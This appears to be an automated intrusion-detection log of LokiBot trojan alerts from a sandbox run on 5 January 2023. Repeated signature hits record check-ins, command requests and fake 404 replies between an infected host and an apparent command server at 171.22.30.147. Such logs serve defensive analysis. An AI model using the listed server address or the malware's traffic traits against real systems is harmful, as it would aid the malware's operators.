ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499132025483 01/05/23-08:53:14.676236
SID:	2025483
Source Port:	80
Destination Port:	49913
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749724802024313 01/05/23-08:52:18.098497
SID:	2024313
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749905802024313 01/05/23-08:53:12.409052
SID:	2024313
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750011802025381 01/05/23-08:53:42.925761
SID:	2025381
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749753802021641 01/05/23-08:52:26.326305
SID:	2021641
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749727802024313 01/05/23-08:52:18.985108
SID:	2024313
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749813802024318 01/05/23-08:52:44.686594
SID:	2024318
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750067802021641 01/05/23-08:53:59.373237
SID:	2021641
Source Port:	50067
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749724802024318 01/05/23-08:52:18.098497
SID:	2024318
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749902802024318 01/05/23-08:53:11.610501
SID:	2024318
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749842802021641 01/05/23-08:52:54.011182
SID:	2021641
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750038802024318 01/05/23-08:53:51.593310
SID:	2024318
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749884802025381 01/05/23-08:53:05.293982
SID:	2025381
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749973802025381 01/05/23-08:53:32.829653
SID:	2025381
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750038802024313 01/05/23-08:53:51.593310
SID:	2024313
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749931802021641 01/05/23-08:53:19.484274
SID:	2021641
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500742025483 01/05/23-08:54:01.312985
SID:	2025483
Source Port:	80
Destination Port:	50074
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749795802025381 01/05/23-08:52:39.717554
SID:	2025381
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749882802024318 01/05/23-08:53:04.789158
SID:	2024318
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749793802024318 01/05/23-08:52:39.171445
SID:	2024318
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749882802024313 01/05/23-08:53:04.789158
SID:	2024313
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500522025483 01/05/23-08:53:55.452652
SID:	2025483
Source Port:	80
Destination Port:	50052
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749793802024313 01/05/23-08:52:39.171445
SID:	2024313
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749870802024313 01/05/23-08:53:01.561418
SID:	2024313
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749853802025381 01/05/23-08:52:56.960046
SID:	2025381
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749965802024313 01/05/23-08:53:30.671447
SID:	2024313
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749766802021641 01/05/23-08:52:30.012463
SID:	2021641
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749904802024313 01/05/23-08:53:12.139251
SID:	2024313
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749948802025381 01/05/23-08:53:24.079081
SID:	2025381
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749965802024318 01/05/23-08:53:30.671447
SID:	2024318
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500612025483 01/05/23-08:53:57.906111
SID:	2025483
Source Port:	80
Destination Port:	50061
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498112025483 01/05/23-08:52:44.228358
SID:	2025483
Source Port:	80
Destination Port:	49811
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498522025483 01/05/23-08:52:56.790001
SID:	2025483
Source Port:	80
Destination Port:	49852
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500202025483 01/05/23-08:53:45.721042
SID:	2025483
Source Port:	80
Destination Port:	50020
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749798802825766 01/05/23-08:52:40.547899
SID:	2825766
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749870802024318 01/05/23-08:53:01.561418
SID:	2024318
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499482025483 01/05/23-08:53:24.163130
SID:	2025483
Source Port:	80
Destination Port:	49948
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749738802021641 01/05/23-08:52:22.066688
SID:	2021641
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750066802021641 01/05/23-08:53:59.096230
SID:	2021641
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750005802021641 01/05/23-08:53:41.297546
SID:	2021641
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499072025483 01/05/23-08:53:13.039053
SID:	2025483
Source Port:	80
Destination Port:	49907
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749993802024318 01/05/23-08:53:38.145026
SID:	2024318
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750065802825766 01/05/23-08:53:58.843527
SID:	2825766
Source Port:	50065
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749791802025381 01/05/23-08:52:38.617554
SID:	2025381
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749730802025381 01/05/23-08:52:19.853027
SID:	2025381
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498932025483 01/05/23-08:53:07.831808
SID:	2025483
Source Port:	80
Destination Port:	49893
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749932802024313 01/05/23-08:53:19.762349
SID:	2024313
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749993802024313 01/05/23-08:53:38.145026
SID:	2024313
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750004802825766 01/05/23-08:53:41.033557
SID:	2825766
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750061802021641 01/05/23-08:53:57.824423
SID:	2021641
Source Port:	50061
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749886802025381 01/05/23-08:53:05.845633
SID:	2025381
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749937802024313 01/05/23-08:53:21.090422
SID:	2024313
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749737802825766 01/05/23-08:52:21.818381
SID:	2825766
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749932802024318 01/05/23-08:53:19.762349
SID:	2024318
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749733802021641 01/05/23-08:52:20.679095
SID:	2021641
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749889802021641 01/05/23-08:53:06.674333
SID:	2021641
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749709802825766 01/05/23-08:52:11.256691
SID:	2825766
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750037802825766 01/05/23-08:53:51.314352
SID:	2825766
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749793802825766 01/05/23-08:52:39.171445
SID:	2825766
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750060802825766 01/05/23-08:53:57.543966
SID:	2825766
Source Port:	50060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750000802021641 01/05/23-08:53:39.996140
SID:	2021641
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749732802825766 01/05/23-08:52:20.401546
SID:	2825766
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749976802025381 01/05/23-08:53:33.629058
SID:	2025381
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749881802025381 01/05/23-08:53:04.500331
SID:	2025381
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749998802024318 01/05/23-08:53:39.461942
SID:	2024318
Source Port:	49998
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749827802825766 01/05/23-08:52:48.461129
SID:	2825766
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749814802024313 01/05/23-08:52:44.953030
SID:	2024313
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749998802024313 01/05/23-08:53:39.461942
SID:	2024313
Source Port:	49998
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749856802021641 01/05/23-08:52:57.793570
SID:	2021641
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749704802825766 01/05/23-08:52:08.934535
SID:	2825766
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749763802025381 01/05/23-08:52:29.176849
SID:	2025381
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749909802024318 01/05/23-08:53:13.489642
SID:	2024318
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749858802025381 01/05/23-08:52:58.341182
SID:	2025381
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749909802024313 01/05/23-08:53:13.489642
SID:	2024313
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750032802825766 01/05/23-08:53:49.938594
SID:	2825766
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749904802024318 01/05/23-08:53:12.139251
SID:	2024318
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749761802021641 01/05/23-08:52:28.591148
SID:	2021641
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500502025483 01/05/23-08:53:54.876977
SID:	2025483
Source Port:	80
Destination Port:	50050
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499592025483 01/05/23-08:53:28.156512
SID:	2025483
Source Port:	80
Destination Port:	49959
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749847802024313 01/05/23-08:52:55.372015
SID:	2024313
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500312025483 01/05/23-08:53:49.742875
SID:	2025483
Source Port:	80
Destination Port:	50031
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749884802021641 01/05/23-08:53:05.293982
SID:	2021641
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749796802025381 01/05/23-08:52:39.986568
SID:	2025381
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500722025483 01/05/23-08:54:00.772320
SID:	2025483
Source Port:	80
Destination Port:	50072
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749875802024318 01/05/23-08:53:02.907470
SID:	2024318
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749814802024318 01/05/23-08:52:44.953030
SID:	2024318
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749875802024313 01/05/23-08:53:02.907470
SID:	2024313
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499372025483 01/05/23-08:53:21.171934
SID:	2025483
Source Port:	80
Destination Port:	49937
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497092025483 01/05/23-08:52:11.338117
SID:	2025483
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749842802024313 01/05/23-08:52:54.011182
SID:	2024313
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750038802021641 01/05/23-08:53:51.593310
SID:	2021641
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749825802025381 01/05/23-08:52:47.903129
SID:	2025381
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749842802024318 01/05/23-08:52:54.011182
SID:	2024318
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749700802021641 01/05/23-08:52:07.351938
SID:	2021641
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749760802825766 01/05/23-08:52:28.304789
SID:	2825766
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749820802025381 01/05/23-08:52:46.558490
SID:	2025381
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749847802024318 01/05/23-08:52:55.372015
SID:	2024318
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499782025483 01/05/23-08:53:34.236429
SID:	2025483
Source Port:	80
Destination Port:	49978
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750033802021641 01/05/23-08:53:50.199257
SID:	2021641
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749978802825766 01/05/23-08:53:34.155329
SID:	2825766
Source Port:	49978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

